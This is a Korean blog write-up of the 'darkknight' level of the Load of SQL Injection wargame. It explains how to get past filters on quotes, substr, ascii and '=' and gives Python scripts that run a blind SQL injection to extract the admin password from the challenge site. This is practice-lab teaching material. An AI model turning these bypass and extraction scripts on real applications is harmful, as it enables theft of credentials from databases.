[Load of SQL Injection] LOS - DARKKNIGHT(12단계)

2022. 12. 25. 16:35·WriteUP

12단계 = DARKKNIGHT


소스코드

이번문제에서는 넘겨줘야 할 파라미터값이 pw, no 두 가지로 보인다.

필터링되는 값을 확인해보면

pw 파라미터에서 '을 필터링하며, no파라미터에서 ', substr, ascii, = 를 필터링하고 있다.

이전 문제에서 사용한 것들을 잘 조합해서 사용하면 무난하게 우회가 가능할 거 같다.

우선 '를 필터링하여 문자열을 필터링하고 있다.

 

이럴 경우 id = 'admin'이 안되지만, My SQL에서는 아스키코드값인 16진수로 표현할 경우 문자열로 인식이 가능하다.

또한 no에서의 substr은 substrin(), mid() , left(), light()등 다양한 함수로 우회가 가능하다.

ascii()는 ord(), hex()등으로 우회가 가능하다. =은 이제 척하면 척! like로 우회가 가능하다.

 

그럼 우선 패스워드의 길이부터 구해보도록 하자.


import requests

url = 'https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php'
cookie = {'PHPSESSID':'3n1u0ufa2rm29qb2oik1re5jrd'}

def admin_pw():
    length=1
    while 1:
        query=url+"?pw=1&no=1 or id like 0x61646d696e and length(pw) like {}%23".format(length)
        res = requests.get(query, cookies=cookie)
        if 'Hello admin' in res.text:
            print('admin password length='+str(length))
            break
        else:
            print('wait...'+str(length))
            length+=1


admin_pw()

8자리라는 것을 확인할 수 있다.

이를 토대로 password를 추출해 보자.

ascii() 함수 대신 mid함수를 사용했다.


import requests

url = 'https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php'
cookie = {'PHPSESSID':'3n1u0ufa2rm29qb2oik1re5jrd'}

def admin_pw():
    length=1
    while 1:
        query=url+"?pw=1&no=1 or id like 0x61646d696e and length(pw) like {}%23".format(length)
        res = requests.get(query, cookies=cookie)
        if 'Hello admin' in res.text:
            print('admin password length='+str(length))
            admin_pwstr(int(length))
            break
        else:
            print('wait...'+str(length))
            length+=1

def admin_pwstr(length):
    string=''
    for i in range(1, length+1):
        for j in range(47, 123):
            query=url+"?pw=1&no=1 or id like 0x61646d696e and ord(mid(pw,{},1)) like {}%23".format(i,j)
            res = requests.get(query, cookies=cookie)
            if 'Hello admin' in res.text:
                string+=chr(j)
                print('admin password = '+string)

    print('final password='+string)
    

admin_pw()

성공적으로 password를 추출해 냈다.

이번문제는 이렇게 해결할 수 있었다.

※ 내용이 이상하거나 문제가 있을 경우, 또는 설명에 부족한 내용이 있으시면 알려 주시면 감사합니다.

저작자표시 (새창열림)

'WriteUP' 카테고리의 다른 글

[Load of SQL Injection] LOS - iron_golem(21단계)  (0) 2023.01.07
[Load of SQL Injection] LOS - xavis(19단계)  (0) 2023.01.07
[HackCTF] - RTC  (1) 2021.11.25
[HackCTF] pwning  (0) 2021.09.26
[pwnkr] - shellshock  (0) 2021.09.04
'WriteUP' 카테고리의 다른 글
  • [Load of SQL Injection] LOS - iron_golem(21단계)
  • [Load of SQL Injection] LOS - xavis(19단계)
  • [HackCTF] - RTC
  • [HackCTF] pwning
g2h
g2h
  • g2h
    감자 텃밭
    g2h
  • 전체
    오늘
    어제
    • 분류 전체보기 (144)
      • Network (4)
      • Web (31)
        • Web Hacking Techniques (31)
      • System (32)
        • Tips (11)
        • System Hacking Techniques (21)
      • Pentest (14)
        • Pentest (14)
      • WriteUP (47)
        • sec (0)
      • 도구|Tools (12)
      • Security Issue (3)
      • 1-Day-Analysis (1)
  • 블로그 메뉴

    • 홈
    • 태그
    • 방명록
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    해킹툴
    SQL Injection
    vulnability
    침투테스트
    모의해킹
    권한상승
    cross side script
    sql
    Hacking
    Metasploit
    CTF
    해킹도구
    Kioptrix
    내부침투
    스캐닝
    NOSQL
    취약점
    해킹
    skt 해킹
    load of sqlinjection
    web hacking
    스캔
    XSS
    Encoding
    Los
    dom based xss
    취약점 스캔
    DoM
    Reflected XSS
    nosql injection
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.3
g2h
[Load of SQL Injection] LOS - DARKKNIGHT(12단계)
상단으로

티스토리툴바